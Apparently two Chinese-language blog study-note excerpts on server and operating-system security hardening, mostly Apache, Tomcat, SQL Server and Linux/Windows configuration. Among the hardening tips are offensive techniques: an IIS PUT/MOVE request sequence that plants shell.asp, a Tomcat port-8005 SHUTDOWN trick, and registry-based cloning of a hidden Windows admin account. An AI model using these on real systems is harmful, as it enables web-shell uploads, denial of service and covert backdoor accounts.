sqlserver数据库1.sqlserver服务器角色中sysadmin权限最高2.sqlserver使用的密码策略是windows系统的密码策略3.查看所有数据库 select name from sys.databases;查看当前库中的所有表select name from sys.tables;web应用服务器攻防4.nc使用方法:nc ip portOPTIONS / HTTP/1.1Host: ip/domainContent-Length: 0紧跟两个回车5.Apache banner信息泄露信息的修复建议:修改httpd.conf,将ServerTokens值(服务器操作系统的名称)改为Prod、ServerSignature值(Apache的版本)改为Off。6.禁止Apache目录浏览修改http.conf文件,<Directory "D:/Apache/blog.phpha.com">Options Indexes FollowSymLinks # 修改为: Options  FollowSymLinks    AllowOverride None    Order allow,deny    Allow from all</Directory>将Indexes去掉7.禁止Tomcat目录浏览修改/conf/web.xml<servlet>        <servlet-name>default</servlet-name>        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>        <init-param>            <param-name>debug</param-name>            <param-value>0</param-value>        </init-param>        <init-param>            <param-name>listings</param-name>            <param-value>true</param-value>        </init-param>        <load-on-startup>1</load-on-startup>    </servlet>将listings的值改为false.8.IIS PUT上传攻击,先上传txt,然后将txt重命名为aspPUT /test.txt HTTP/1.1Host: 127.0.0.1Content-Length: 10testMOVE /test1.txt HTTP/1.1Host: 127.0.0.1Destination: http://www.coffeehb.cn/shell.asp9.Tomcat SHUTDOWN字符串向Tomcat 8005端口发送SHUTDOWN字符串会导致Tomcat进程退出10.apache将特殊目录使用密码保护首先利用htpasswd生成密码文件,windows下创建方法:htpasswd -c C:\htpasswd.txt username修改httpd.conf,添加如下行<Directory "特殊目录">Options Indexes FollowSymLinksAllowOverride AuthConfigAuthType BasicAuthName "annex's password"AuthUserFile 用户密码文件Require user 授权用户名</Directory>比如:<Directory "/var/site1/passwd">Options Indexes FollowSymLinksAllowOverride AuthConfigAuthType BasicAuthName "annex's password"AuthUserFile /usr/local/etc/passwd.httpdRequire user annex</Directory>11.Tomcat为特殊目录使用密码保护的实践未成功... 继续阅读 »
学习笔记

2015-7-18 操作系统安全笔记

2015-7-18  操作系统安全笔记
1.root SID最后是0  windows的SID最后为500的表示administrator账户,501表示guest用户,建立的普通用户SID都在1000以上。2.linux下文件的最高权限是666,文件夹的最高权限是777,文件的权限=666-umask的值/etc/profile保存了系统变量和历史命令3.克隆账户时用户名和值的注册表都要导入,不要忘记用户名那个注册表喔!!!先建立隐藏账户,同时设置密码,比如:net user test$ test /add。然后再注册表中将test$的用户名注册表和键值注册表导出,将要克隆的账户的键值注册表也导出,将要克隆的账户的F值复制覆盖到test$的F值。然后,在命令行下将test$账户删除。最后,将test$的用户名注册表和键值注册表导入。4.linux telnet配置文件/etc/xinetd.d/telnet5.linux系统日志,/var/log6.禁止系统自动登录,“开始->运行->control userpasswords2”:查看是否启用“要是用本机,用户必须输入用户名和密码”选项。7.FAT文件系统转换为NTFS文件系统,如convert C:/fs:ntfs8.linux配置IP:vi /etc/sysconfig/network-scripts/ifcfg-eth0<hr class="more" />安全加固考试大纲:系统版本信息查看(linux:uname,、windows:systeminfo,ver,)用户信息(net user 用户名)账户有关操作iptables查看服务(linux、windows)linux配置文件linux文件目录极其作用ssh配置NSF共享windows常用命令ver查看系统版本wmic os get servicePackMajorVersion查看sp版本hostname查看主机名ipconfig /all查看网络记录net user/localgroup/share/config查看用户、用户组、共享、查看正在运行的服务linux常用命令uname -a查看内核信息rpm -qa查看所有软件包hostname查看主机名ifconfig -a查看网络配置netstat -an查看开放端口netstat -rn查看路由表ps -aux查看当前进程question:su切换至高权限用户一直提示密码错误禁止root使用telnet远程登录pam.d/system-auth... 继续阅读 »